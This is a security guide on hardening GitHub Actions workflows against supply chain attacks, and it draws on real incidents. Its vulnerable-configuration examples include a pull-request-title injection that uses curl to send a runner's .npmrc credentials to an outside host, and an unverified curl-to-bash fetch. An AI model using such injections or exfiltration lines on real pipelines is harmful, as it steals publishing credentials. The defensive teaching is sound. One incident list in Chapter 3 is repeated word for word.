Hardening GitHub Actions Against Outside Threats
Hardening GitHub Actions Against Outside Threats
A practical guide to securing GitHub Actions against supply chain attacks, covering malicious pull requests, credential theft, dependency risks, and release pipelines.
- Karlo Zanki
The supply chain attacks that defined 2025 and 2026 did not arrive as typosquats or as newly published malicious packages. They arrived inside legitimate, widely installed packages whose maintainers wrote no malicious code. The malicious code entered during the release, and in most cases the release ran on GitHub Actions.
Some of the better-known incidents on widely used projects, as a sample rather than a complete list:
tj-actions/changed-files
, March 2025- Nx
s1ngularity
, August 2025 - Shai-Hulud, from September 2025
trivy-action
, March 2026axios
, March 2026- TanStack Router, May 2026
- GhostAction, across 2025 and 2026
- LiteLLM
1.107.0
, October 2026
A recurring pattern was compromise of the release process or its credentials. In some incidents, attackers made the project's own automation build and ship the malicious artifact, as in Ultralytics and TanStack Router. In others, they stole publishing credentials from that automation and published directlyβNx's postmortem explicitly states that the malicious packages did not originate from its CI pipeline. These paths require different controls, but share an outcome: malicious code distributed under the project's established package identity, reaching downstream users through routine dependency updates.
This series sets out the controls that prevent these compromises, or contain them when prevention fails. It splits in two, because the most useful question about any CI/CD control is who it defends against. Part one, this post, covers outside threats: an attacker with no credential for your organization. Part two covers insider threats: an attacker who already holds a valid one, whether a compromised maintainer account or a trusted person acting against the project. The two halves fail differently, and conflating them is how teams end up with a hardened pipeline that still ships a backdoor.
The Threat Model for Part One
#The attacker in this post holds no credential for your organization. They reach your pipeline through what you accept from strangers: a pull request, a dependency, a third-party action, a script you download at build time, a host you let the runner talk to.
Chapter 1: Pin Every Action to a Full Commit SHA
#The mistake
#Referencing an action by tag, as uses: owner/action@v4
, or by branch, as @main
.
Teams assume a version tag is immutable the way an npm version is. Usually it is not: a Git tag is a movable pointer, and the action's maintainer β or whoever steals their account β can repoint it at another commit. The exception is a tag behind an immutable release, which GitHub locks to its commit for as long as the release exists. That is the upstream repository's setting rather than yours, though, so it holds for the actions whose maintainers enabled it and for none of the others. The commit you reviewed and the commit you execute are different objects, and nothing in the pull request shows the difference.
Observed in the wild
#In March 2025 an attacker compromised tj-actions/changed-files
and retagged v1
through v45.0.7
to point at a single malicious commit, tracked as CVE-2025-30066. The payload scanned runner process memory for credentials and wrote them into the build log, which on a public repository is world-readable. Roughly 23,000 repositories referenced the action. Every repository that pinned by SHA was unaffected; every repository that pinned by tag executed the attacker's code on its next build.
The reviewdog/action-setup
compromise days earlier used the same technique, and was plausibly the upstream of this one rather than a parallel incident: tj-actions/changed-files
ran an action that used reviewdog/action-setup@v1
, and a personal access token was stolen through that chain. The lesson is broader than mutable tags. Your dependency's dependencies are also yours.
In March 2026 the TeamPCP campaign force-pushed 75 of 76 version tags on trivy-action
, exfiltrating secrets from pipelines that ran a Trivy scan.
What to do
#Adopt a workflow lockfile. gh actions-lock
generates .github/workflows/actions.lock
, which records the commit behind every step-level action your workflows reference, transitive ones included, and enforces it when the workflow runs: the locked commit must still be reachable from the branch or tag recorded for it in the action's own repository, so a commit that exists only in a fork is rejected. It also records the source repository's numeric owner and repository ids and re-checks them, so a different repository standing behind a familiar name fails too. GitHub's position since general availability is that for a repository that adopts one, SHA pinning in the workflow file is no longer necessary β readable @v4
-style references stay in the YAML and the lockfile carries the commits. Review what you are locking before you onboard, though. A lockfile faithfully preserves the commit it records, a malicious one included, so onboarding pins your dependencies rather than vetting them.
Four things it does not cover. Reusable workflow calls (jobs..uses
) are outside it entirely, and you pin those by SHA. Local ./
path actions are never locked, because they run whatever is in the runner's workspace; gh actions-lock --migrate-local-actions
rewrites them as pinned $/
references. Container images are not locked either β the extension warns on any image without an @sha256:
digest β and neither are inputs or secrets. And workflow lockfiles are not currently supported on GitHub Enterprise Server, so SHA pinning remains the control there.
Let Dependabot propose the bumps either way. For an onboarded workflow it regenerates the matching lockfile entry in the same pull request, so the update keeps the workflow reference and its lockfile entry together. One caveat belongs to the SHA-pinning fallback rather than to lockfiles: Dependabot raises security alerts only for actions referenced by semantic version, so a workflow pinned inline to a SHA stops receiving them. That is an argument for the lockfile, which leaves the readable version reference in place. Where you do pin inline, replace the lost notification deliberately β dependency review will flag a known-vulnerable action on the next pull request that changes one, but neither that nor the version-update pull requests tell you about a vulnerability disclosed in between, so subscribe to the GitHub Advisory Database filtered to the Actions ecosystem or whatever advisory feed you already act on.
Enforce it rather than trusting review. Set an organization Actions policy that allows only specific actions, and turn on Require lockfile, which blocks a targeted workflow that is not onboarded. Keep the separate SHA-pinning policy enabled alongside it: the two are independent checks a run must pass, and a lockfile satisfies the SHA requirement for workflows onboarded to it. Plan one consequence before you switch enforcement on β if a workflow calls a reusable workflow whose own repository is not onboarded, Require lockfile blocks the calling workflow's run, and pinning that call by SHA does not substitute for onboarding it. That is the practical reason to start with your shared-workflow repositories. For repositories not onboarded yet, zizmor
's unpinned-uses
rule is the CI-side check.
A SHA proves immutability, not provenance. GitHub shares commit objects across a repository's fork network, so a commit pushed to a fork can be fetched through the upstream repository's URL. uses: actions/checkout@
can resolve and run even when that commit sits on no branch and no tag of actions/checkout
. These are impostor commits. For the action dependencies it covers, a lockfile rejects them at run time, which is the clearest way the fallback is weaker than onboarding. Where you are on the fallback, zizmor
's impostor-commit
rule is the check β an online audit that queries the referenced repository through the API, so it needs a GitHub token; supply one and online audits run by default, and --no-online-audits
turns them off. The failure mode is a token-less run, where the offline audits still pass while the online ones are skipped, so the result looks green and carries no impostor-commit coverage. And a clean result is evidence of provenance, not of safety: the tj-actions
commits were reachable from the tags the attacker moved.
A SHA does not pin nested actions. It fixes that action's own repository files at that commit; it does not reach what those files call. A composite action's action.yml
carries its own uses:
steps, resolved at run time against whatever ref its author wrote, so pinning owner/action@
still executes whatever actions/setup-node@v4
resolves to today. Reusable workflows behave the same way, and the reviewdog chain above is this mechanic rather than a separate lesson. JavaScript actions are the exception: their dependencies are bundled into dist/
at that commit. A Docker action's Dockerfile
is covered only as a file β its FROM
line and its package installs resolve when the image is built, so pin base images by digest and pin what the build installs. image: docker://vendor/tool:latest
sits outside the pin entirely.
This is the second way the fallback is weaker. A lockfile records those transitive step-level references and holds each to its commit; a SHA in the workflow file reaches only the first hop. It does not settle the Docker question either: workflow lockfiles do not pin container images or the external inputs used to build them.
Pinning says nothing about the window between a release and your next bump. Apply a cooldown β Wiz estimates a 7 to 14 day delay catches 80 to 90% of supply chain attacks, whose detection windows are typically under a week. Both update bots have a key for it: Renovate's minimumReleaseAge
in renovate.json
, and Dependabot's cooldown
block inside the update entry in dependabot.yml
, which on github.com already applies three days by default. Both cover version updates, not security updates.
Configuration
## Unprotected without a lockfile: a movable pointer
- uses: actions/checkout@v7
- uses: tj-actions/changed-files@v47
# ...but with the workflow onboarded, these same readable refs are the
# recommended form. The lockfile records the commit each one resolved to.
# Fallback where lockfiles do not reach - GitHub Enterprise Server, and
# reusable workflow calls
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
gh extension install github/gh-actions-lock
gh actions-lock # whole .github/workflows directory
gh actions-lock .github/workflows/ci.yml # or one workflow
gh actions-lock --migrate-local-actions # ./ refs -> pinned $/
# CI: validate lockfile coverage and upstream provenance without editing
gh actions-lock --verify
# Never hand-edit actions.lock; commit it with the workflow change.
# --relock deliberately advances a floating ref, so review what it moves
gh actions-lock --relock
zizmor --persona=pedantic --gh-token "$(gh auth token)" .github/workflows/
Chapter 2: Default GITHUB_TOKEN to No Permissions
#The mistake
#Omitting the permissions:
key entirely.
Organizations created before February 2023 default GITHUB_TOKEN
to read and write across contents, packages, issues, pull requests and deployments. A single injection in any job then yields push access to the default branch. The second form of the mistake is scoping correctly at workflow level but exposing the token to steps that have no use for it.
One fact underpins this whole chapter: any user with write access to a repository can read every secret configured in it, by pushing a workflow that uses them. Credentials used in workflows are exposed to that group by design, so the question is never whether a job can reach them, only how much a compromised job can do with what it reaches.
Observed in the wild
#The write-scoped GITHUB_TOKEN
is the escalation step in nearly every pwn-request chain rather than the initial foothold. It appears in Ultralytics in December 2024 and in nx s1ngularity
in August 2025.
The pattern is worth stating plainly, because it determines where this control pays off. The initial foothold varies and is often hard to prevent. The token is what converts that foothold into supply chain impact, and the token is entirely within your control.
What to do
#Set the organization-wide default to read-only, under Settings, then Actions, then General, then Workflow permissions. Then declare permissions: {}
at workflow level and grant the minimum per job.
An empty block at the top with explicit per-job grants reviews far better than one broad block. A reviewer reading a job that requests pull-requests: write
can ask why; a reviewer reading a workflow that inherits everything has nothing to react to.
Configuration
## Vulnerable: no permissions block, so a legacy repository
# inherits read and write across the board
name: CI
on: [push]
jobs:
build:
runs-on: ubuntu-latest
# Hardened: deny by default, grant per job
name: CI
on: [push]
permissions: {}
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read # only what this job needs
comment:
runs-on: ubuntu-latest
permissions:
pull-requests: write
contents: read
Chapter 3: Never Build Untrusted Code in a pull_request_target Workflow
#The mistake
#Reaching for pull_request_target
because plain pull_request
does not expose secrets to fork pull requests, then checking out github.event.pull_request.head.sha
and running the project's install, build, lint or format step.
pull_request_target
runs in the base repositoryβs privileged context. Checking out and executing an unreviewed pull requestβs code can expose the jobβs secrets and token to its author. Current actions/checkout
versions block common fork-PR checkout patterns unless allow-unsafe-pr-checkout: true
is set. Older pinned versions and custom checkout commands can still permit them. The underlying mistake is executing attacker-controlled code in a privileged job, regardless of how that code was fetched.
Observed in the wild
#This is the most exploited misconfiguration in GitHub Actions, and the incidents below are a sample rather than a list.
- nx
s1ngularity
, August 2025. Injection through an unsanitized pull request title leaked the npm publishing token. Malicious packages carrying a credential-stealing postinstall script were live for roughly four hours. Follow-on waves flipped private repositories public, affecting about 2,180 accounts and 7,200 repositories. - TanStack Router, May 2026. Pull request #7378 from a fork drove the same pattern into cache poisoning plus OIDC token extraction from runner memory, producing 84 malicious versions across 42
@tanstack/*
packages. aquasecurity/trivy-action
, March 2026. The same root cause, in a security vendor's own action.- Ultralytics, December 2024. Pull requests #18018 and #18020 targeted a
format.yml
workflow usingpull_request_target
with an unescaped branch name. The attacker poisoned a GitHub Actions cache entry; the release workflow later restored it and shipped a crypto miner to PyPI as versions8.3.41
and8.3.42
. - Nx
s1ngularity
, August 2025. Injection through an unsanitized pull request title leaked the npm publishing token. Malicious packages carrying a credential-stealing postinstall script were live for roughly four hours. Follow-on waves flipped private repositories public, affecting about 2,180 accounts and 7,200 repositories. - TanStack Router, May 2026. Pull request #7378 from a fork drove the same pattern into cache poisoning plus OIDC token extraction from runner memory, producing 84 malicious versions across 42
@tanstack/*
packages. aquasecurity/trivy-action
, March 2026. The same root cause, in a security vendor's own action.
What to do
#Prefer plain pull_request
. It runs fork code with no secrets and a read-only token, which is the correct trust level for an unreviewed contribution. Fork-triggered runs do not receive secrets other than GITHUB_TOKEN
by default, and that is the property doing the work.
When you genuinely need privileged post-processing, such as labelling, coverage comments or preview deployments, split it. An untrusted pull_request
job builds and uploads an artifact. A separate workflow_run
job consumes that artifact without ever checking out fork code. If you must use pull_request_target
, check out the base ref only, never the head.
The same split applies to your own release pipeline. The fork pull request is the obvious case of untrusted code, but a build job runs code you did not review every time it installs a dependency, resolves a toolchain or calls a third-party action. Treat it as the job most likely to execute something hostile: give it no publishing credential at all, and publish from a separate job that takes the build's output as an artifact, holds its credential through a gated environment and runs no project code of its own. This holds even with trusted publishing β id-token: write
is granted per job, so a compromised build step in the same job can mint its own token.
The bridge has its own attack surface. The split moves the trust boundary off the code and onto the artifact, and an artifact produced by a fork's run is attacker-controlled data β GitHub warns that artifact storage does not separate fork-produced artifacts from upstream ones. Extract it with a tool that rejects entries escaping the target directory and refuses unsafe links: a crafted ..
entry writes outside the target path, the shape of CVE-2024-54132 in the GitHub CLI itself, and unpacking outside the workspace is a precaution rather than the control. Pin the download to the run that triggered you rather than resolving artifacts by name, then check what arrived β the originating run, workflow, repository and event, the artifact's identity, and its contents against the schema you expect. Never execute artifact content in a privileged job.
Check what you send the other way. By default, actions/checkout
persists Git credentials for later steps. Older versions stored them directly in .git/config
, creating a risk of accidental exposure when uploading the checkout directory; v6 moved them to a separate file under $RUNNER_TEMP
. Set persist-credentials: false
whenever subsequent steps do not need authenticated Git access.
One date to plan around. GitHub already applies a default event policy blocking pull_request_target
on public repositories that have no applicable policy of their own, but it runs in evaluate mode: runs continue, and policy insights show you what would be blocked. Enforcement begins 2 December 2026. Private and internal repositories are unaffected. actions/checkout
was also updated in June 2026 to refuse common pwn-request checkout patterns. Renovate and labeler workflows commonly depend on this trigger, so use the evaluate window to audit rather than finding out on the day.
Configuration
## Vulnerable: attacker code, executed with secrets in scope
on:
pull_request_target:
types: [opened, synchronize]
jobs:
format:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run format
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
# Hardened, stage 1 - untrusted: no secrets, read-only token
name: build-pr
on: pull_request
permissions: { contents: read }
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@ # defaults to the PR merge ref
with:
persist-credentials: false # no token left in .git/config
- run: npm ci --ignore-scripts && npm run build
- uses: actions/upload-artifact@
with: { name: report, path: report.json } # one file, not a directory
# Hardened, stage 2 - privileged: consumes the artifact, never the code
name: comment-on-pr
on:
workflow_run:
workflows: [build-pr]
types: [completed]
permissions:
actions: read # required to download from the triggering run
pull-requests: write
jobs:
comment:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@
with:
name: report
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
path: /tmp/incoming # a precaution, not a traversal defence
# treat report.json as untrusted data: parse it, never eval it
Chapter 4: Stop Expression Injection into run Blocks
#The mistake
#Interpolating github.event.*
directly into a shell step: a pull request title, a pull request body, a branch name, an issue comment, a commit message, a review body, an author display name.
GitHub expands ${{ }}
by textual substitution before the shell sees the script. Wrapping the value in double quotes does not help: substitution happens first, and double quotes do not suppress $(...)
in any case, so the attacker can either close the string or simply substitute a command inside it. This is command injection with no quoting that saves you.
Observed in the wild
#nx s1ngularity
was triggered by a crafted pull request title. Ultralytics used the fork's branch name. Both fields are free text that any GitHub user can set, and both landed inside a shell step.
Injection is also the most frequent finding when zizmor
runs against large workflow corpora, which suggests the published incidents understate how common the pattern is.
What to do
#Never put ${{ }}
inside run:
when the value is attacker-influenced. Pass it through env:
and reference the shell variable instead, quoted. The expression is then expanded into the environment block rather than into the script text, so the content is data rather than code. For anything beyond a simple value, actions/github-script
is the usual recommendation β with a qualification that is easy to miss. Its script:
field is JavaScript source, and ${{ }}
is substituted into it exactly the same way, so interpolating a title there is JavaScript injection rather than shell injection. Read the value from context.payload.pull_request.title
, or set it in an env:
block and read process.env.PR_TITLE
. Never interpolate an expression into the script body.
One caveat on that advice, because it is easy to over-generalize. The environment block is a safe sink; the environment files are not. Writing attacker-controlled content into $GITHUB_ENV
or $GITHUB_PATH
sets variables and path entries for every later step in the job, which an attacker can use to introduce LD_PRELOAD
, BASH_ENV
or a shadowing binary. GitHub block-listed NODE_OPTIONS
around October 2023; at the time of writing we could not confirm that LD_PRELOAD
and BASH_ENV
are blocked, so do not rely on the block-list. Only write to those files from trusted input.
Add zizmor
to CI to catch this class mechanically. It ships audit rules covering template injection, credential persistence, over-scoped permissions and impostor commits, and is used by CPython, cURL, PyPI, Rust and Sigstore. Pair it with actionlint
for schema and shell correctness.
Configuration
## Vulnerable: the title is substituted into the script text
- name: Greet
run: echo "Thanks for '${{ github.event.pull_request.title }}'"
# Double quotes do not save this. A title of:
# $(curl -sd @$HOME/.npmrc )
# is command substitution, which runs inside the double quotes. A title
# containing a double quote closes the string and works too.
# Hardened: expanded into the environment, read as a shell variable
- name: Greet
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Thanks for '$PR_TITLE'" # quoted, never re-expanded
# Audit on every pull request that touches workflow definitions
on:
pull_request:
paths: ['.github/**']
jobs:
audit:
runs-on: ubuntu-latest
permissions: { contents: read, security-events: write }
steps:
- uses: actions/checkout@
- uses: zizmorcore/zizmor-action@
Chapter 5: Close the Cache Trust Boundary
#The mistake
#Granting fork-triggered workflows cache write access, then restoring the same key in build or release workflows.
This usually happens as a side effect rather than a decision: a workflow uses pull_request_target
, or a setup-*
action enables caching by default. The Actions cache is shared mutable state that crosses the fork-to-base trust boundary, and because it presents as an optimization it is rarely included in the threat model at all.
The consequence is remote code execution in the release pipeline with no code change anywhere. The malicious content never appears in a reviewed diff.
Observed in the wild
#Ultralytics and TanStack Router both ran this way: a fork pull request wrote a poisoned entry into the shared cache, and the release pipeline restored it and built from what it found. In both the reviewed source was clean at every point β the cache, not the diff, carried the payload across the trust boundary. Chapter 3 has the full chains.
What to do
#Caches are isolated by scope, not by key. A cache written by a plain pull_request
run belongs to the merge ref, refs/pull/β¦/merge
, which the base branch cannot restore from. pull_request_target
is different: it runs in the base branch's context, so what it writes lands in the default branch's scope, where the release build will find it. That is how both incidents above worked, and it makes the cache problem largely the pull_request_target
problem from chapter 3.
The platform now does most of this for you. An event that resolves to the default branch but can be influenced from outside β pull_request_target
, issue_comment
, workflow_run
β gets read-only access to that scope, so the poisoned write above fails today. And cache-mode
, generally available since September 2026, lets a workflow or job declare the access it should have: read
, write
, write-only
or none
, enforced by the cache service through scoped tokens rather than by the action's good behaviour. GitHub's dependency caching reference has the exact trigger list and the per-trigger defaults.
Set it deliberately. cache-mode: none
on release jobs: a release build should be clean and reproducible, and this makes that a property the service enforces rather than a convention the next contributor undoes by adding a setup-*
action. cache-mode: read
on untrusted jobs. The trap is the override β declaring write
or write-only
on a low-trust trigger opts that workflow back out of the read-only default and reintroduces exactly the risk this chapter describes. Treat it as a review finding.
Configuration
## Vulnerable, as the 2024-2026 incidents ran: a fork run writes the
# shared store that release later reads.
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@
with:
cache: pnpm
# Today the save fails with a warning, because pull_request_target has
# read-only access to the default branch's cache scope, and current
# actions/checkout refuses a fork PR head ref unless the workflow sets
# allow-unsafe-pr-checkout: true. The write comes back only by opting
# out on purpose:
# cache-mode: write # reintroduces exactly this vulnerability
# Hardened: a workflow-level default. A job can override it in either
# direction, so set the sensitive jobs explicitly rather than relying
# on this line.
cache-mode: read
jobs:
# untrusted: restore only, stated in the YAML as well as the token
test:
runs-on: ubuntu-latest
cache-mode: read
steps:
- uses: actions/cache/restore@
with:
path: ~/.pnpm-store
key: ${{ runner.os }}-pnpm-${{ hashFiles('pnpm-lock.yaml') }}
# Hardened, release job: no cache access at all, enforced by the service
jobs:
release:
runs-on: ubuntu-latest
cache-mode: none
steps:
- run: pnpm install --frozen-lockfile --ignore-scripts
- run: pnpm run build
# Never on a low-trust trigger - it opts out of the read-only default
# and brings the poisoning risk back:
# cache-mode: write
Chapter 6: Isolate or Eliminate Self-Hosted Runners
#The mistake
#Attaching a non-ephemeral self-hosted runner to a public repository.
GitHub-hosted runners are destroyed after each job. A self-hosted runner is a persistent machine, so anything an attacker writes to disk, installs as a service or leaves in the work directory survives into the next job, including jobs from other workflows.
The second form of the mistake is treating "require approval for first-time contributors" as the security boundary. It gates the first run, not subsequent ones.
Observed in the wild
#PyTorch, 2023. Adnan Khan and John Stawinski landed a trivial markdown typo fix to clear the previous-contributor gate, then submitted a pull request that ran on PyTorch's self-hosted runners and gave them root.
They then developed the Runner on Runner technique: install a second GitHub runner on the compromised host, attached to the attacker's own organization, so the backdoor resembles ordinary runner traffic. From there they could commit to the main branch, upload releases and backdoor related projects. The same researchers later demonstrated the technique at scale against many organizations at DEF CON 32.
What to do
#First, try to remove the need. Prefer GitHub-hosted runners. GitHub's own position is that self-hosted runners should almost never be used for public repositories, because anyone who can open a pull request can reach the machine. Treat that as a rule, and spend the effort eliminating the requirement before spending it on hardening.
Where self-hosted runners are unavoidable, use single-job ephemeral runners, provisioned either with --ephemeral
at registration or through the just-in-time runner API. A teardown script on a persistent runner is not a substitute: it relies on cleanup completing before the runner can accept another job. Automatic deregistration, however, does not clean the underlying machine. Provision a fresh, isolated environment for each runner and destroy it after the job; Actions Runner Controller on Kubernetes builds on the same idea.
Then bound the blast radius. Use runner groups to decide which organizations, repositories and workflows may schedule onto a runner at all, and keep public repositories off any group that private ones share. Register runners at the level that matches who administers them. Keep sensitive material off the machine and deny it access to cloud metadata and production networks. Require approval for all outside collaborators, not just first-time ones. Avoid passing secrets as command-line arguments, which can be visible to other jobs on the same host.
Runner configuration has more depth than one chapter can carry. GitHub's hardening guidance for self-hosted runners is the reference to work through before standing one up.
Configuration
## Just-in-time runner: generate the config server-side, then start the
# runner with it.
gh api -X POST /orgs/acme/actions/runners/generate-jitconfig \
-f name="gpu-$(uuidgen)" \
-F runner_group_id=3 \
-f 'labels[]=gpu' \
--jq .encoded_jit_config > jit.cfg
./run.sh --jitconfig "$(cat jit.cfg)"
# Deregistration after the job is not cleaning: wipe or discard the host.
# Refuse fork-originated runs on self-hosted labels
jobs:
gpu-test:
if: github.event.pull_request.head.repo.full_name == github.repository
runs-on: [self-hosted, linux, gpu]
Chapter 7: Control Dependency Intake
#The mistake
#Running a plain npm install
in CI: resolving fresh versions, executing every postinstall
in the tree, with publish tokens and cloud credentials in the environment.
Teams frequently add dependency scanning and leave the install itself unconstrained. Scanning tells you what is in the tree. The install is where code executes, and most CI compromises in 2025 and 2026 arrived through npm install
rather than through a workflow bug.
Observed in the wild
#Shai-Hulud and Nx s1ngularity
both delivered their payload through an install lifecycle script that harvested credentials and exfiltrated them. nx sent data to attacker-created public GitHub repositories named s1ngularity-repository
; Shai-Hulud used attacker-created public repositories as well, which is also how it propagated. The chain was consistent: the install script runs, credentials are harvested, and the victim's own packages are republished infected.
Axios, March 2026 shows why the window matters. Malicious versions 1.14.1
and 0.30.4
were live for approximately three hours, and the payload was hidden in an inserted dependency, plain-crypto-js
, rather than in Axios itself. Three hours is long enough to affect any pipeline that resolves dependencies in real time, and short enough that no human review process would have caught it.
What to do
#Four controls, all cheap.
- Deterministic installs. Use
npm ci
orpnpm install --frozen-lockfile
. Never resolve fresh versions in CI. - No lifecycle scripts by default. Use
--ignore-scripts
, with an explicit allowlist for the handful of packages that genuinely need a build step. npm 12 adds anallowScripts
allowlist for this. - A release-age cooldown, applied where the lockfile is written.
min-release-age
, added in npm 11.10.0 in February 2026, excludes versions published less than N days ago during resolution. Most malicious versions are removed within hours, so even a one-day cooldown blocks the bulk of them. pnpm, yarn and bun have equivalents. Enforce the npm floor, because older clients ignore the setting silently. - Install-time source controls. The May 2026 npm release added
--allow-file
,--allow-remote
and--allow-directory
alongside the existing--allow-git
, so you can refuse non-registry install sources outright.
npm ci
installs the lockfile without resolving, so min-release-age
does not apply there. The cooldown governs what enters the lockfile, which is the moment a freshly published malicious version would be adopted β and that means configuring it in two places, not one. .npmrc
covers installs on a developer's machine. The update bot needs its own setting rather than being assumed to honour yours: cooldown
for Dependabot, minimumReleaseAge
for Renovate, as in chapter 1.
The cooldown is the control that would have prevented the Axios ingestion outright, and it requires no judgment from whoever reviews the bump.
Configuration
## Vulnerable: fresh resolution, every postinstall, secrets in scope
- run: npm install
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
# .npmrc, committed to the repository. This governs RESOLUTION: local
# installs, and the lockfile changes a bump bot proposes. It does not
# gate npm ci, which installs the lockfile without resolving.
min-release-age=3
ignore-scripts=true
# Hardened: deterministic, no lifecycle scripts, no secrets in this job,
# build steps named explicitly rather than inherited
- run: npm ci # ignore-scripts applies here; the cooldown does not
# rebuild inherits ignore-scripts from .npmrc too, and reports success
# while running nothing - re-enable scripts for the reviewed exceptions
- run: npm rebuild --ignore-scripts=false better-sqlite3 esbuild
Chapter 8: Verify Third-Party Scripts and Uploaders
#The mistake
#Piping an installer or uploader straight from a vendor URL into a shell: coverage uploaders, CLI installers, release tooling.
A curl | bash
in CI is an unpinned code fetch, executed with full job privileges and without independent verification of what arrived. HTTPS authenticates the server, not the payload. The remote file can change at any time, and nothing in your pipeline would notice. The vendor's supply chain becomes yours without a pin, a checksum or a review.
Observed in the wild
#Codecov, 2021. An attacker extracted a Google Cloud Storage HMAC key from a layer of Codecov's public Docker image and used it to modify the Bash Uploader served to users. The modified script shipped every environment variable β API keys, tokens, credentials β to an attacker-controlled host.
It ran undetected from 31 January to 1 April 2021 across more than 29,000 customers. It was found only because one customer compared the downloaded file's SHA-256 against the published value.
Two details are worth keeping. Verification was the only control that detected it, and it was the customer's verification rather than the vendor's.
What to do
#Replace ad-hoc downloads with a SHA-pinned action wherever one exists.
Where you must fetch a file, pin the exact version, verify a checksum or signature you control, and fail the build on mismatch. Never run verification and execution in the same pipe: download, verify, then execute as separate steps, so a failed check stops the job rather than being swallowed.
Configuration
## Vulnerable: fetch and execute in one unverifiable step
curl -s | bash
# Hardened: pinned version, verified digest, separate steps
set -euo pipefail
curl -fsSL -o uploader.sh
echo "9f2b...c71e uploader.sh" | sha256sum -c -
bash ./uploader.sh
# Better, where a maintained action exists - but pin both halves
- uses: codecov/codecov-action@ # v5.x: pins the wrapper only
with:
version: v11.2.3 # the CLI it downloads. The default is 'latest',
# so the action's SHA does not pin what executes.
# Leave the 'binary' input unset: supplying your own CLI bypasses the
# action's GPG-signed SHA256SUM check on what it downloads.
Chapter 9: Restrict What the Runner Can Talk To
#The mistake
#Unrestricted outbound network access from runners, with no record of what a build contacted.
A compromised step can reach any host on the internet, and nothing in the run log distinguishes that from a normal dependency fetch. Egress control is the last line that still works when an earlier control has already failed, which is exactly when you need one.
Observed in the wild
#Every attack in this post ends the same way: data leaving the runner.
Ultralytics ended in a crypto miner calling out from build machines and from every user who installed the poisoned wheel. tj-actions
wrote harvested secrets straight into public build logs. nx and Shai-Hulud exfiltrated to attacker-created public GitHub repositories.
That last case is a structural limit, not a gap in somebody's list: an allowlist works on hosts, not on repositories or accounts, so permitting github.com
permits pushing to an attacker's repository on it β as it does for any multi-tenant service you allow, from object storage to a paste site. Volume alerting does not close that, because a token is a few hundred bytes leaving in one ordinary-looking request. And tj-actions
exfiltrated without any connection to an attacker-controlled endpoint: it wrote the secrets into the public build log, a channel the egress policy never sees. Its payload did arrive over the network, from gist.githubusercontent.com
, so egress control had a chance on the way in β just not on the way out. Narrow the list to the services a build needs and scope by path or account where your agent supports it, but treat egress control as narrowing what an attacker can do once an earlier control has failed, not as the layer that tells you it happened.
What to do
#Today this means a runner-level egress agent. Several exist as marketplace actions and as self-hosted options, and the choice matters less than the rollout.
Run it in audit mode first, so the allowlist is built from traffic you actually observed rather than traffic you assumed. Review what it reports, then switch to deny-by-default. Expect the audit run to surprise you: most builds reach more hosts than their owners expect, and an allowlist written from memory breaks the build on day one.
Whatever you pick, insist on four properties: an audit mode, deny-by-default once enforced, an alert on blocked destinations rather than a silent drop, and a policy the job itself cannot relax. On that last point, prefer per-job declarations inside centrally enforced limits where the tooling supports it β a job should be able to narrow its own egress and never to widen it. A policy that lives only in the workflow file is a policy a pull request can edit, and a blocked connection nobody sees is a missed incident.
GitHub has announced a native Layer 7 egress firewall for hosted runners that runs outside the runner VM, so it holds even against root inside the job, which an in-VM agent fundamentally cannot. At the time of writing it is on the 2026 roadmap and not generally available.
Configuration
## Phase 1 - learn the real destination set. Run for a week, then read it.
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: @
with:
policy: audit
# Phase 2 - enforce, with the allowlist derived from phase 1
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: @
with:
policy: block
allowed:
github.com:443
registry.npmjs.org:443
objects.githubusercontent.com:443
# Required properties, whichever agent you choose:
# audit mode -> allowlist from observed traffic, not from memory
# deny by default once enforced
# per-job declarations INSIDE central limits - a job may narrow its
# own egress, never widen it
# blocked destinations raise an alert, never a silent drop
Where These Controls Stop
#Every control in this post assumes the attacker is outside your organization and has to get in through something you accept from strangers. Within that boundary they hold well, because the enforcement is mechanical rather than a judgment call. Once the attacker holds a valid maintainer credential that assumption breaks: they need no pwn request, no injection and no retagged action, as GhostAction and the LiteLLM compromise of October 2026 showed. They authenticate, and the pipeline does what they ask. That is part two, and it is a different discipline β identity, separation of duty and detection rather than input validation.
Sources
#- tj-actions/changed-files supply chain attack (CVE-2025-30066) β Wiz
- s1ngularity postmortem β Nx
- Shai-Hulud npm worm β Unit 42, and the CISA alert
- Ultralytics pwn request supply chain attack β Snyk
- TanStack npm supply-chain compromise postmortem β TanStack
- Self-hosted runner attacks against PyTorch β Legit Security
- Codecov Bash Uploader post-mortem β Codecov
- Workflow lockfiles in public preview β GitHub
- Secure use reference β GitHub Docs
- zizmor audit rules
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content β general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached β you'll always get the same 5 for this article.